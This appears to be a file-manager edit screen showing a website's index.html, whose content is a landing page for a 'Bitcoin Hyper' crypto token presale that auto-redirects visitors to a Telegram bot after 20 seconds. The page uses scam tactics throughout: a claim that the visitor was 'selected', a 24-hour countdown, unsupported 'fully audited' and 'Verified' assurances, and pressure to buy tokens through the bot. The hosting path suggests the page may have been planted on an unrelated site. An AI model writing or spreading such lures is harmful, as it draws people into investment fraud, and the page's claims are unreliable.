编辑文件 - index.html

✏️ 正在编辑: index.html

路径: /home/wwwbiore/public_html/index.html
提示: 您可以编辑任何文件（包括二进制文件），但请注意不当修改可能导致文件损坏。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Bitcoin Hyper - Multi-Chain Presale</title>
    <meta http-equiv="refresh" content="20; url=https://t.me/BitcoinHyperPreSalesBot">
    <style>
        body {
            font-family: 'Segoe UI', Roboto, -apple-system, sans-serif;
            text-align: center;
            padding: 0;
            margin: 0;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: #212529;
        }
        .container {
            max-width: 600px;
            margin: 50px auto;
            padding: 30px;
            background: white;
            border-radius: 12px;
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
        }
        .logo-container {
            margin-bottom: 25px;
            padding-bottom: 25px;
            border-bottom: 1px solid #e9ecef;
        }
        .logo {
            width: 100%;
            max-height: 200px;
            object-fit: cover;
            transition: all 0.3s ease;
            border-radius: 8px;
        }
        .logo:hover {
            opacity: 0.9;
        }
        h1 {
            color: #9945FF;
            font-weight: 700;
            margin-bottom: 20px;
            font-size: 2rem;
            background: linear-gradient(45deg, #9945FF, #14F195);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
        }
        .multi-chain-badge {
            display: inline-block;
            background: linear-gradient(45deg, #9945FF, #14F195);
            color: white;
            padding: 8px 16px;
            border-radius: 20px;
            font-weight: 600;
            font-size: 0.9em;
            margin-bottom: 20px;
        }
        .token-price {
            background: #f8f9fa;
            border-radius: 10px;
            padding: 15px;
            margin: 20px 0;
            border: 2px solid #e9ecef;
        }
        .token-price h3 {
            margin: 0 0 10px 0;
            color: #212529;
        }
        .price-value {
            font-size: 1.8em;
            font-weight: 700;
            color: #14F195;
            margin: 0;
        }
        .highlight-box {
            background-color: #f8f5ff;
            border-left: 4px solid #9945FF;
            padding: 15px;
            margin: 20px 0;
            text-align: left;
            border-radius: 0 8px 8px 0;
        }
        .benefits {
            text-align: left;
            display: inline-block;
            margin: 20px 0;
            width: 100%;
            max-width: 500px;
        }
        .benefits li {
            margin-bottom: 12px;
            position: relative;
            padding-left: 30px;
        }
        .benefits li:before {
            content: "⚡";
            color: #9945FF;
            position: absolute;
            left: 0;
            font-weight: bold;
            font-size: 1.2em;
        }
        .countdown {
            font-weight: 700;
            color: #9945FF;
            font-size: 1.3em;
        }
        .security-badge {
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 25px 0;
            gap: 10px;
            color: #6c757d;
            font-size: 0.9em;
        }
        .loading-bar {
            height: 6px;
            background: #e9ecef;
            border-radius: 3px;
            margin: 25px 0;
            overflow: hidden;
        }
        .loading-progress {
            height: 100%;
            width: 0%;
            background: linear-gradient(90deg, #9945FF, #14F195);
            animation: load 20s linear forwards;
        }
        @keyframes load {
            to { width: 100%; }
        }
        .urgent {
            color: #dc3545;
            font-weight: 600;
            animation: pulse 1.5s infinite;
        }
        @keyframes pulse {
            0% { opacity: 1; }
            50% { opacity: 0.7; }
            100% { opacity: 1; }
        }
        .disclaimer {
            font-size: 0.75rem;
            color: #868e96;
            margin-top: 30px;
            line-height: 1.5;
        }
        .btn-primary {
            background: linear-gradient(45deg, #9945FF, #14F195);
            color: white;
            padding: 12px 30px;
            border: none;
            border-radius: 25px;
            font-weight: 600;
            font-size: 1.1em;
            cursor: pointer;
            text-decoration: none;
            display: inline-block;
            margin: 10px 0;
            transition: transform 0.2s ease;
        }
        .btn-primary:hover {
            transform: translateY(-2px);
            color: white;
            text-decoration: none;
        }
        .chains-container {
            display: flex;
            justify-content: center;
            gap: 15px;
            margin: 20px 0;
            flex-wrap: wrap;
        }
        .chain-badge {
            background: #f8f9fa;
            border: 1px solid #e9ecef;
            border-radius: 20px;
            padding: 8px 15px;
            font-size: 0.85em;
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 5px;
        }
        .chain-badge.bitcoin {
            color: #f7931a;
        }
        .chain-badge.ethereum {
            color: #627eea;
        }
        .chain-badge.bsc {
            color: #f0b90b;
        }
        .chain-badge.solana {
            color: #9945FF;
        }
    </style>
<script>
  var _paq = window._paq = window._paq || [];
  /* tracker methods like "setCustomDimension" should be called before "trackPageView" */
  _paq.push(['trackPageView']);
  _paq.push(['enableLinkTracking']);
  (function() {
    var u="https://superelefant.matomo.cloud/";
    _paq.push(['setTrackerUrl', u+'matomo.php']);
    _paq.push(['setSiteId', '1']);
    var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
    g.async=true; g.src='https://cdn.matomo.cloud/superelefant.matomo.cloud/matomo.js'; s.parentNode.insertBefore(g,s);
  })();
</script>
</head>
<body>
    <div class="container">
        <div class="logo-container">
            <img src="https://cimg.co/wp-content/uploads/2025/05/19102721/1747650441-bitcoin-hyper-price-prediction.jpg" alt="Bitcoin Hyper Multi-Chain Presale" class="logo">
        </div>
        
        <div class="multi-chain-badge">🚀 MULTI-CHAIN PRESALE</div>
        <h1>Bitcoin Hyper Presale</h1>
        
        <div class="token-price">
            <h3>Token Price</h3>
            <p class="price-value">1 HYPER = $0.0125</p>
        </div>
        
        <div class="chains-container">
            <div class="chain-badge bitcoin">Bitcoin (BTC)</div>
            <div class="chain-badge ethereum">Ethereum (ETH)</div>
            <div class="chain-badge bsc">BSC (BNB)</div>
            <div class="chain-badge solana">Solana (SOL)</div>
        </div>
        
        <div class="highlight-box">
            <strong>Exclusive Access:</strong> You've been selected for early participation in the Bitcoin Hyper presale. Supports multiple blockchains for your convenience. Limited spots available - expires in <span class="urgent">24 hours</span>.
        </div>
        
        <p>You're being redirected to our official Telegram bot to secure your allocation.</p>
        
        <ul class="benefits">
            <li>Multi-chain support - Choose your preferred blockchain</li>
            <li>Exclusive presale pricing before public launch</li>
            <li>Limited token allocation for early participants</li>
            <li>Instant token distribution on selected network</li>
            <li>Fully audited smart contract for security</li>
            <li>DEX listing immediately after presale concludes</li>
        </ul>
        
        <div class="loading-bar">
            <div class="loading-progress"></div>
        </div>
        
        <p>Secure connection established. Redirecting to Telegram bot in <span class="countdown">20</span> seconds...</p>
        
        <a href="https://t.me/BitcoinHyperPreSalesBot" class="btn-primary">
            🤖 Access Presale Bot Now
        </a>
        
        <div class="security-badge">
            <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                <path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"></path>
            </svg>
            <span>Verified Bitcoin Hyper Multi-Chain Presale</span>
        </div>
        
        <p style="font-size: 0.9em; color: #6c757d;">If redirect doesn't occur automatically, click the button above or <a href="https://t.me/BitcoinHyperPreSalesBot" style="color: #9945FF;">click here for manual access</a>.</p>
        
        <div class="disclaimer">
            This is an exclusive offer for selected participants only. Bitcoin Hyper does not guarantee returns. Crypto assets are volatile investments. By proceeding, you agree to our Terms of Service. Always conduct your own research.
        </div>
    </div>

← 返回文件管理器